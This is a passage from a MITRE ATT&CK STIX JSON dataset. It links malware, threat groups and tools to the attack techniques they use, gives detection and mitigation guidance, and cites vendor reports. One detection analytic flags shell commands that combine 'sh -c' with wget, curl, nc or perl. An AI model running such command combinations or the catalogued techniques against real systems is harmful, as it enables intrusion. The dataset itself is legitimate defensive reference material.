to Target Middle Eastern Government. Retrieved February 18, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/","source_name":"Palo Alto OilRig Sep 2018"}],"modified":"2020-03-17T19:06:57.970Z","description":"[BONDUPDATER](https://attack.mitre.org/software/S0360) can read batch commands in a file sent from its C2 server and execute them with cmd.exe.(Citation: Palo Alto OilRig Sep 2018)","relationship_type":"uses","source_ref":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30f98441-b9cd-49ab-ba95-c7f19a82becd","type":"relationship","created":"2021-09-22T21:17:32.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-22T21:17:32.026Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has encoded its C2 traffic with Base64.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30ff291e-e546-4084-8b5b-22fd5a597449","type":"relationship","created":"2019-01-30T19:27:46.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Morphisec Cobalt Gang Oct 2018","url":"https://blog.morphisec.com/cobalt-gang-2.0","description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."}],"modified":"2019-07-26T23:38:34.038Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) used a JavaScript backdoor that is capable of collecting a list of the security solutions installed on the victim's machine.(Citation: Morphisec Cobalt Gang Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3100a612-59cf-4fb0-b5f0-d0e09198a487","created":"2023-09-08T20:26:43.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T20:58:53.173Z","description":"Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers. Correlate these records with system events.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--31025044-b0de-4dcd-bd26-fe467b803000","created":"2020-12-28T18:50:41.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"FireEye Ryuk and Trickbot January 2019","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"},{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"FireEye FIN6 Apr 2019","description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:26:15.570Z","description":"[AdFind](https://attack.mitre.org/software/S0552) can gather information about organizational units (OUs) and domain trusts from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: Symantec Bumblebee June 2022)","relationship_type":"uses","source_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31028cf4-870e-490e-871e-ec55814dcef8","type":"relationship","created":"2019-02-12T18:20:09.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2019-04-24T20:56:04.846Z","description":"[Denis](https://attack.mitre.org/software/S0354) queries the Registry for keys and values.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31029adf-2b28-4d7f-bdd3-b07f55374eae","type":"relationship","created":"2020-06-30T22:40:28.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-30T22:40:28.118Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) can check the victim's default browser to determine which process to inject its communications module into.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3109f288-8024-4ae4-a284-f4f87d94f33d","created":"2024-01-19T20:41:00.162Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T20:41:00.162Z","description":"[Ninja](https://attack.mitre.org/software/S1100) has used legitimate looking filenames for its loader including update.dll and x64.dll.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3114ebc8-7dc2-4ee7-8aad-5b764f27a6d8","created":"2023-07-28T16:49:40.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T13:42:38.427Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has collected local host information by utilizing Windows commands `systeminfo`, `fsutil`, and `fsinfo`. [FIN13](https://attack.mitre.org/groups/G1016) has also utilized a compromised Symantex Altiris console and LanDesk account to retrieve host information.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--311c74c3-5eda-4a55-9ac9-a51b518dcb7e","created":"2024-05-29T20:41:57.004Z","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T20:41:57.004Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can determine if a targeted system is part of an Active Directory domain by expanding the %USERDNSDOMAIN% environment variable.(Citation: SentinelOne Gootloader June 2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--311f8c01-21ac-48db-a036-581e9e49f07c","created":"2024-10-07T22:01:29.807Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:01:29.807Z","description":"Enforce strict user account management policies on third-party service accounts to control access and limit privileges. Configure accounts with the minimum permissions necessary to perform their roles and regularly review access levels. This minimizes the risk of adversaries exploiting service accounts to execute spearphishing attacks or gain unauthorized access to sensitive resources.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31221040-295a-437a-ac4a-d85e0b5d9122","type":"relationship","created":"2020-10-09T13:28:48.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro FIN6 October 2019","url":"https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html","description":"Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."}],"modified":"2020-10-09T13:28:48.189Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used malicious JavaScript to steal payment card data from e-commerce sites.(Citation: Trend Micro FIN6 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:13:03.736Z","description":"[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate system information.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3126e151-051a-45ba-bc52-ca6f0f646fbb","type":"relationship","created":"2020-03-17T00:22:32.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2020-03-17T00:22:32.905Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) uses SMTP for C2.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3127bcf3-3638-4c1b-9a95-156f6c78658a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","source_name":"Unit 42 OopsIE! Feb 2018"}],"modified":"2019-09-04T22:55:41.892Z","description":"(Citation: Unit 42 OopsIE! Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3129063c-ece7-4d72-8728-e72febde953a","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:17:28.045Z","description":"Monitor executed commands and arguments that may abuse Unix shell commands and scripts for execution. Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nNote: this analytic does not include an exhaustive list of potentially suspicious commands that could be executed through a shell interpreter. Instead, it is meant to serve as an example of types of commands that can warrant further investigation.\n\nAnalytic 1 - Unusual command execution \n\n sourcetype=\"linux_logs\" CommandLine=“*sh -c*” AND (CommandLine=“*wget*” OR CommandLine=“*curl*” OR CommandLine=“*nc*” OR CommandLine=“*perl*”)","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--312950f2-80d2-4941-bfce-b97b2cb7a1ff","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:21.063Z","description":"(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--312c929a-abf6-44c1-95d6-6dde60c7a3fe","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.263Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--312cffa6-cdda-48cd-a003-dfd7183355c3","type":"relationship","created":"2020-02-20T22:07:27.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T22:07:27.659Z","relationship_type":"revoked-by","source_ref":"attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--312f53be-d610-4c7c-af9b-44148c07bf7e","type":"relationship","created":"2021-09-07T13:43:36.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:09.750Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has crafted VBS-based malicious documents.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)\t ","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--313082d2-c493-4053-80c1-06300aeea8e0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.780Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can create a .lnk file and add a Registry Run key to establish persistence.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31334bcb-0207-41c8-b04a-96c7d6d1a466","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.199Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can access data from local files, volumes, and processes.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31343a3c-11be-4f53-ba3e-d3a65ce29165","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for newly executed processes of binaries that could be involved in data destruction activity, such as SDelete.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31346f8a-0123-4ff8-88ab-4aaccd81377d","type":"relationship","created":"2020-12-22T17:02:53.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:12:01.787Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) can execute arbitrary commands with the command line.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--31353596-4fa7-4a37-8bb9-bc0690742576","created":"2024-03-01T18:51:19.174Z","revoked":false,"external_references":[{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"},{"source_name":"NSA Sandworm 2020","description":"National Security Agency. (2020, March 28). Sandworm Actors Exploiting Vulnerability In EXIM Mail Transfer Agent. Retrieved March 1, 2024.","url":"https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T18:51:19.174Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) exploits public-facing applications for initial access and to acquire infrastructure, such as exploitation of the EXIM mail transfer agent in Linux systems.(Citation: NSA Sandworm 2020)(Citation: Leonard TAG 2023)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31433bb4-aa47-444a-b7d7-49208401e974","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","source_name":"Unit 42 MuddyWater Nov 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and 